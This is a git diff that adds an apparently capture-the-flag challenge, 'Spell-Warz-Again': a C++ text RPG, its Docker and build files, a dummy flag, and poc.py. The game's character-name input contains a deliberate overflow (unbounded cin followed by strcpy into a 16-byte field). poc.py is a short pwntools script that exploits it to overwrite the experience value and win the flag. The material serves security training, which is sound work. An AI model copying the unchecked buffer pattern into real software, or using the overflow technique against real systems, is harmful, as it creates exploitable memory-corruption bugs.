diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..a8069ba --- /dev/null +++ b/Dockerfile @@ -0,0 +1,13 @@ +FROM ubuntu:latest + +RUN apt update && \ + apt install socat -y + +WORKDIR /app + +COPY ./flag.txt . +COPY ./spell-warz-again . + +CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" + +EXPOSE 12345/tcp diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d449d3e --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice (including the next +paragraph) shall be included in all copies or substantial portions of the +Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS +OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF +OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..308fea3 --- /dev/null +++ b/Makefile @@ -0,0 +1,19 @@ +UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp + g++ -c lib/UserInterface.cpp -o UserInterface.o + +BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp + g++ -c lib/BattleInterface.cpp -o BattleInterface.o + +Spell.o: lib/Spell.cpp lib/Spell.hpp + g++ -c lib/Spell.cpp -o Spell.o + +Character.o: lib/Character.cpp lib/Character.hpp + g++ -c lib/Character.cpp -o Character.o + +spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp + g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o + +clean: all + rm Spell.o Character.o UserInterface.o BattleInterface.o + +all: spell-warz-again diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..f824bde --- /dev/null +++ b/flag.txt @@ -0,0 +1 @@ +slashroot{dummy} diff --git a/lib/BattleInterface.cpp b/lib/BattleInterface.cpp new file mode 100644 index 0000000..5ac8f5f --- /dev/null +++ b/lib/BattleInterface.cpp @@ -0,0 +1,108 @@ +#include "BattleInterface.hpp" + +const int BattleInterface::maxTurn = 100; + +BattleInterface::BattleInterface() +{ + this->turn = -1; + this->player1 = nullptr; + this->player2 = nullptr; + this->winner = nullptr; + this->loser = nullptr; +} + +BattleInterface::BattleInterface(Character *p1, Character *p2) +{ + this->turn = 1; + this->player1 = p1; + this->player2 = p2; + this->winner = nullptr; + this->loser = nullptr; +} + +void BattleInterface::battleStartAnnounce() +{ + std::cout << " === BATTLE START === \n" + << " " << player1->getName() << "\n" + << " vs \n" + << " " << player2->getName() << "\n" + << " === ============ === \n" + << std::flush; +} + +void BattleInterface::battleEndAnnouce() +{ + std::cout << " === BATTLE END === \n" + << "winner: " << this->winner->getName() << "\n" + << std::flush; +} + +Character *BattleInterface::getLoser() +{ + return this->loser; +} + +Character *BattleInterface::getWinner() +{ + return this->winner; +} + +void BattleInterface::start() +{ + int choiceInt; + char buff[64] = {0}; + + this->battleStartAnnounce(); + while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn) + { + std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n" + << "Your spell book:\n"; + for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++) + { + std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; + } + std::cout << std::flush; + + choiceInt = UserInterface::getNumber( + "What are you gonna cast this turn?\n>", 0, + player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel()); + + if (player1->canCastSpell(&Spell::Book.at(choiceInt))) + { + player1->castSpell(&Spell::Book.at(choiceInt), player2); + snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + } + + choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); + if (player2->canCastSpell(&Spell::Book.at(choiceInt))) + { + player2->castSpell(&Spell::Book.at(choiceInt), player1); + snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); + UserInterface::print(buff); + } + this->turn++; + } + + winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2; + loser = (winner == player1) ? player2 : player1; + this->battleEndAnnouce(); +} diff --git a/lib/BattleInterface.hpp b/lib/BattleInterface.hpp new file mode 100644 index 0000000..dd0034b --- /dev/null +++ b/lib/BattleInterface.hpp @@ -0,0 +1,35 @@ +#ifndef SPELL_WARZ_BATTLEINTERFACE_HPP +#define SPELL_WARZ_BATTLEINTERFACE_HPP 1 + +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" +#include "UserInterface.hpp" + +class BattleInterface +{ +protected: + static const int maxTurn; + int turn; + + Character *player1; + Character *player2; + Character *winner; + Character *loser; + + void battleStartAnnounce(); + void battleEndAnnouce(); + void clearBuff(); +public: + BattleInterface(); + BattleInterface(Character *p1, Character *p2); + + void start(); + Character *getWinner(); + Character *getLoser(); +}; + +#endif \ No newline at end of file diff --git a/lib/Character.cpp b/lib/Character.cpp new file mode 100644 index 0000000..09438ee --- /dev/null +++ b/lib/Character.cpp @@ -0,0 +1,216 @@ +#include "Character.hpp" +#include +const int Character::maxLevel = 0xffff; +const int Character::maxExperience = 0x0fffffff; +Character::Character() +{ + this->level = 1; + this->experience = 0; + this->maxHP = 10; + this->curHP = maxHP; + this->maxMP = 5; + this->curMP = maxMP; + this->atk = 1; + this->def = 1; + memset(this->name, 0, 16); +} + +Character::Character(char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} + +Character::Character(const char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} + +Character::Character(char *n, int l, int e, int h, int m, int a, int d) +{ + strcpy(this->name, n); + this->name[15] = 0; + this->level = l; + this->experience = e; + this->maxHP = h; + this->curHP = maxHP; + this->maxMP = m; + this->curMP = maxMP; + this->atk = a; + this->def = d; +} + +Character::Character(const char *n, int l, int e, int h, int m, int a, int d) +{ + strcpy(this->name, n); + this->name[15] = 0; + this->level = l; + this->experience = e; + this->maxHP = h; + this->curHP = maxHP; + this->maxMP = m; + this->curMP = maxMP; + this->atk = a; + this->def = d; +} + +char *Character::getName() +{ + return this->name; +} + +int Character::getLevel() +{ + if (this->level > Character::maxLevel) + { + exit(-1); + } + return this->level; +} + +int Character::getExperience() +{ + if (this->experience > Character::maxExperience) + { + exit(-1); + } + return this->experience; +} + +int Character::getMaxHP() +{ + return this->maxHP; +} + +int Character::getCurHP() +{ + if (this->curHP > this->maxHP) + { + exit(-1); + } + return this->curHP; +} + +int Character::getMaxMP() +{ + return this->maxMP; +} + +int Character::getCurMP() +{ + if (this->curMP > this->maxMP) + { + exit(-1); + } + return this->curMP; +} + +int Character::getAtk() +{ + return this->atk; +} + +int Character::getDef() +{ + return this->def; +} + +void Character::levelUp() +{ + if ((this->level <= maxLevel) && this->readytoLevelUp()) + { + this->experience -= this->toNextLevel(); + this->level++; + this->maxHP += 10; + this->maxMP += 5; + this->curHP = this->maxHP; + this->curMP = this->maxMP; + } +} + +void Character::restoreHP(int n) +{ + this->curHP += n; + if (this->curHP > this->maxHP) + { + this->curHP = this->maxHP; + } +} + +void Character::restoreMP(int n) +{ + this->curMP += n; + if (this->curMP > this->maxMP) + { + this->curMP = this->maxMP; + } +} + +void Character::reduceHP(int n) +{ + this->curHP -= n; +} + +void Character::reduceMP(int n) +{ + this->curMP -= n; +} + +bool Character::isAlive() +{ + return this->curHP > 0; +} + +int Character::toNextLevel() +{ + return (this->level + 1) * (this->level + 1); +} + +bool Character::readytoLevelUp() +{ + return (this->toNextLevel() <= this->experience); +} + +void Character::increaseExperience(int n) +{ + this->experience += n; + if (this->experience > maxExperience) + { + this->experience = maxExperience; + } + while (this->readytoLevelUp()) + { + this->levelUp(); + } +} + +bool Character::canCastSpell(Spell *s) +{ + return this->curMP >= s->getCost(); +} + +void Character::castSpell(Spell *s, Character *t) +{ + this->reduceMP(s->getCost()); + t->reduceHP(s->getAmount()); +} + +void Character::rest() +{ + this->curHP = this->maxHP; + this->curMP = this->maxMP; +} + +void Character::kill() +{ + this->curHP = 0; +} + +void Character::revive() +{ + if (this->curHP <= 0) + { + this->curHP = 1; + } +} \ No newline at end of file diff --git a/lib/Character.hpp b/lib/Character.hpp new file mode 100644 index 0000000..14d107c --- /dev/null +++ b/lib/Character.hpp @@ -0,0 +1,59 @@ +#ifndef SPELL_WARZ_CHARACTER_HPP +#define SPELL_WARZ_CHARACTER_HPP 1 + +#include + +#include "Spell.hpp" + +class Character +{ +protected: + static const int maxLevel; + static const int maxExperience; + char name[16]; + + int experience; + int level; + int atk; + int def; + int curHP; + int curMP; + int maxHP; + int maxMP; + + void restoreHP(int); + void restoreMP(int); + void reduceHP(int); + void reduceMP(int); + +public: + Character(); + Character(char *name); + Character(const char *name); + Character(char *name, int level, int exp, int hp, int mp, int atk, int def); + Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); + + void castSpell(Spell *src, Character *dst); + bool canCastSpell(Spell *src); + + char *getName(); + int getLevel(); + int getExperience(); + int getMaxHP(); + int getCurHP(); + int getMaxMP(); + int getCurMP(); + int getAtk(); + int getDef(); + int toNextLevel(); + + bool readytoLevelUp(); + bool isAlive(); + void levelUp(); + void kill(); + void rest(); + void revive(); + void increaseExperience(int n); +}; + +#endif \ No newline at end of file diff --git a/lib/Spell.cpp b/lib/Spell.cpp new file mode 100644 index 0000000..f5b8492 --- /dev/null +++ b/lib/Spell.cpp @@ -0,0 +1,42 @@ +#include "Spell.hpp" + +Spell::Spell(std::string n, int t, int a, int c) +{ + this->name = std::string(n); + this->type = t; + this->amount = a; + this->cost = c; +} + +int Spell::getType() +{ + return this->type; +} + +int Spell::getAmount() +{ + return this->amount; +} + +int Spell::getCost() +{ + return this->cost; +} + +std::string Spell::getName() +{ + return this->name; +} + +std::vector Spell::Book = { + Spell("Napalm Beat", 1, 4, 1), + Spell("Fire Ball", 1, 6, 2), + Spell("Cold Bolt", 1, 8, 3), + Spell("Stone curse", 1, 10, 4), + Spell("Lightning Bolt", 1, 12, 5), + Spell("Soul Strike", 1, 14, 6), + Spell("Fire Wall", 1, 16, 7), + Spell("Frost Diver", 1, 18, 8), + Spell("Lighting Storm", 1, 20, 9), + Spell("Asura's Strike", 1, 50, 10), +}; \ No newline at end of file diff --git a/lib/Spell.hpp b/lib/Spell.hpp new file mode 100644 index 0000000..618bbaa --- /dev/null +++ b/lib/Spell.hpp @@ -0,0 +1,28 @@ +#ifndef SPELL_WARZ_SPELL_CPP +#define SPELL_WARZ_SPELL_CPP 1 + +#include +#include + +class Spell +{ +protected: + std::string name; + + int type; + int amount; + int cost; + +public: + int TYPE_RESTORATION = 0; + int TYPE_DESTRUCTION = 1; + static std::vector Book; + + Spell(std::string, int, int, int); + int getType(); + int getAmount(); + int getCost(); + std::string getName(); +}; + +#endif \ No newline at end of file diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp new file mode 100644 index 0000000..885aba1 --- /dev/null +++ b/lib/UserInterface.cpp @@ -0,0 +1,226 @@ +#include "UserInterface.hpp" + +const int UserInterface::interval = 500; // in ms +const int UserInterface::miniInterval = 50; // in ms +const int UserInterface::maxDay = 28; +const int UserInterface::maxMonth = 12; +const int UserInterface::maxYear = 100; + +int UserInterface::day = 1; +int UserInterface::month = 1; +int UserInterface::year = 90; + +bool UserInterface::gameOver = false; + +std::vector UserInterface::dayName = { + "Morndas", + "Tirdas", + "Middas", + "Turdas", + "Fredas", + "Loredas", + "Sundas", +}; + +std::vector UserInterface::monthName = { + "Morning Star", + "Sun's Dawn", + "First Seed", + "Rain's Hand", + "Second Seed", + "Mid Year", + "Sun's Height", + "Last Seed", + "Hearthfire", + "Frostfall", + "Sun's Dusk", + "Evening Star", +}; + +void UserInterface::print(std::string msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); +} + +void UserInterface::print(char *msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); +} +void UserInterface::print(const char *msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); +} + +void UserInterface::printByChar(const char *msg) +{ + int len = strlen(msg); + for (size_t i = 0; i < len; i++) + { + std::cout << msg[i] << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); + } +} + +void UserInterface::welcomeMessage() +{ + std::cout << "+++++++++++++++++++++++++++++++++++\n" + << "+ Welcome to Spell-Warz-Again !!! +\n" + << "+++++++++++++++++++++++++++++++++++\n" + << std::flush; +} + +Character *UserInterface::characterCreation() +{ + char buffer[128] = {0}; + char choice = 0; + int i; + short b; + while (choice != 'y' && choice != 'Y') + { + std::cout << "Who should we call you?\n" + << ">" << std::flush; + + std::cin >> buffer; + + std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" + << ">"; + std::cin >> choice; + } + return new Character(buffer); +} + +void UserInterface::epilogue() +{ + UserInterface::printByChar( + "You are just a young mage in a mage school,\n" + "When you witnessed your arch-mage got defeated by your senior...\n" + "He was mumbling about some flag inside a scroll,\n" + "he also mentioned something about a competition called CTF...\n" + "You thought to yourself: \"What the f*ck is a CTF?\"\n" + "Nevertheless, you want that scroll, you want that flag!\n" + "Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n" + "Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n"); +} + +std::string UserInterface::dateString() +{ + char date[5] = {0}; + + if (UserInterface::day < 21) + { + switch (UserInterface::day) + { + case 1: + sprintf(date, "1st"); + break; + case 2: + sprintf(date, "2nd"); + break; + case 3: + sprintf(date, "3rd"); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + else + { + switch (UserInterface::day % 10) + { + case 1: + sprintf(date, "%dst", UserInterface::day); + break; + case 2: + sprintf(date, "%dnd", UserInterface::day); + break; + case 3: + sprintf(date, "%drd", UserInterface::day); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + + return std::string( + UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + + date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + + ", Year " + std::to_string(UserInterface::year)); +} + +void UserInterface::menu() +{ + std::cout << "=======================================\n" + << UserInterface::dateString() << "\n" + << "=======================================\n" + << "Available action:\n" + << "[1] Take a rest\n" + << "[2] Practice magic\n" + << "[3] Spar against classmate\n" + << "[4] Challenge the new Arch-Mage\n" + << "[5] Gather info about the new Arch-Mage\n" + << "[6] Meditate to your inner-self\n" + << "[0] Commit sudoku\n" + << std::flush; +} + +void UserInterface::enemiesInfo(std::vector &enemies) +{ + for (int i = 0; i < enemies.size(); i++) + { + std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n"; + } + std::cout << std::flush; +} + +int UserInterface::getNumber(std::string msg, int min, int max) +{ + int buffer = max + 1; + do + { + std::cout << msg << std::flush; + if (std::cin.failbit || std::cin.eofbit) + { + std::cin.clear(); + std::cin.ignore(1); + } + } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); + return buffer; +} + +void UserInterface::nextDay() +{ + if (UserInterface::day++ >= UserInterface::maxDay) + { + day = 1; + if (UserInterface::month++ >= UserInterface::maxMonth) + { + month = 1; + if (UserInterface::year++ >= UserInterface::maxYear) + { + UserInterface::gameOver = true; + } + } + } +} + +bool UserInterface::isGameOver() +{ + return gameOver; +} + +void UserInterface::characterInfo(Character *c) +{ + std::cout << "++++++++++++++++++++++++" + << "\nName: " << c->getName() + << "\n HP: " << c->getCurHP() << "/" << c->getMaxHP() + << "\n MP: " << c->getCurMP() << "/" << c->getMaxMP() + << "\n Lv: " << c->getLevel() + << "\n Xp: " << c->getExperience() + << "\n next: " << c->toNextLevel() + << "\n++++++++++++++++++++++++" << std::endl; +} \ No newline at end of file diff --git a/lib/UserInterface.hpp b/lib/UserInterface.hpp new file mode 100644 index 0000000..3fb5e60 --- /dev/null +++ b/lib/UserInterface.hpp @@ -0,0 +1,53 @@ +#ifndef SPELL_WARZ_USER_INTERFACE_HPP +#define SPELL_WARZ_USER_INTERFACE_HPP 1 + +#include +#include +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" + +class UserInterface +{ +protected: + static const int interval; // in ms + static const int miniInterval; // in ms + static const int maxDay; + static const int maxMonth; + static const int maxYear; + + static std::vector dayName; + static std::vector monthName; + + static int day; + static int month; + static int year; + + static bool gameOver; + +public: + static void print(std::string); + static void print(const char *); + static void print(char *); + static void printByChar(std::string); + static void printByChar(const char *); + static void printByChar(char *); + + static void welcomeMessage(); + static void epilogue(); + static void menu(); + static void nextDay(); + static void characterInfo(Character *); + static void enemiesInfo(std::vector &); + + static std::string dateString(); + static int getNumber(std::string, int, int); + static Character *characterCreation(); + + static bool isGameOver(); +}; + +#endif \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..87b8d6c --- /dev/null +++ b/main.cpp @@ -0,0 +1,150 @@ + +#include +#include +#include +#include +#include +#include +#include + +#include "lib/Character.hpp" +#include "lib/Spell.hpp" +#include "lib/UserInterface.hpp" +#include "lib/BattleInterface.hpp" + +std::string loadFlag() +{ + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; +} + +int main() +{ + std::string flag; + Character *player; + Character *archMage; + Character *enemy; + BattleInterface battle; + std::vector enemies; + + flag = loadFlag(); + srand(time(0)); + alarm(600); + + UserInterface::welcomeMessage(); + UserInterface::epilogue(); + player = UserInterface::characterCreation(); + archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); + enemies = { + new Character("Abby", 1, 1, 10, 5, 1, 1), + new Character("John", 2, 3, 20, 10, 1, 1), + new Character("Adam", 3, 7, 40, 25, 1, 1), + new Character("Christo", 4, 11, 80, 40, 1, 1), + new Character("Greg", 5, 16, 160, 80, 1, 1), + }; + + while (player->isAlive() && !UserInterface::isGameOver()) + { + int choiceInt = -1; + char choiceChar = -1; + UserInterface::menu(); + choiceInt = UserInterface::getNumber( + "What are you gonna do today?\n>", + 0, 6); + switch (choiceInt) + { + case 0: + UserInterface::print("You commit sudoku...\n"); + UserInterface::print("Was it supposed to be seppuku?\n"); + UserInterface::print("Nevermind, you killed yourself.\n"); + player->kill(); + break; + case 1: + UserInterface::print("You spend the whole day sleeping...\n"); + UserInterface::print("HP and MP restored.\n"); + player->rest(); + break; + case 2: + UserInterface::print("You practice your magic in the yard...\n"); + UserInterface::print("You gained some experience.\n"); + player->increaseExperience((random() % player->getLevel()) + 1); + break; + case 3: + UserInterface::print("List of your classmates:\n"); + UserInterface::enemiesInfo(enemies); + choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); + UserInterface::print("You are going to spar with:\n"); + UserInterface::characterInfo(enemies.at(choiceInt)); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + enemy = new Character(*enemies.at(choiceInt)); + battle = BattleInterface(player, enemy); + battle.start(); + if (battle.getWinner() == player) + { + UserInterface::print("You win, you get more experience...\n"); + player->increaseExperience(enemies.at(choiceInt)->getLevel()); + } + else + { + UserInterface::print("You lose, but you still get some experience...\n"); + player->revive(); + player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); + } + delete enemy; + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player->rest(); + } + + break; + case 4: + UserInterface::print("You are going to challenge the Arch-Mage...\n"); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + battle = BattleInterface(player, archMage); + battle.start(); + if (battle.getWinner() == player) + { + UserInterface::print("You win, you get more experience...\n"); + player->increaseExperience(enemies.at(choiceInt)->getLevel()); + UserInterface::print("You win against the Arch-Mage!\n"); + UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); + UserInterface::print("Turns out the content is just some meaningless word...\n"); + UserInterface::print("Here is the content:\n"); + UserInterface::print(flag + "\n"); + } + else + { + UserInterface::print("You lose...\n"); + UserInterface::print("Sadly his spell was to powerful,\n"); + UserInterface::print("You got killed by the arch-mage...\n"); + } + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player->rest(); + } + break; + case 5: + UserInterface::print("You found some info about the arch-mage:\n"); + UserInterface::characterInfo(archMage); + break; + case 6: + UserInterface::print("You meditate and got some insight to your ability:\n"); + UserInterface::characterInfo(player); + break; + } + UserInterface::nextDay(); + } +} diff --git a/poc.py b/poc.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/poc.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive() diff --git a/spell-warz-again b/spell-warz-again new file mode 100755 index 0000000..91c19e1 Binary files /dev/null and b/spell-warz-again differ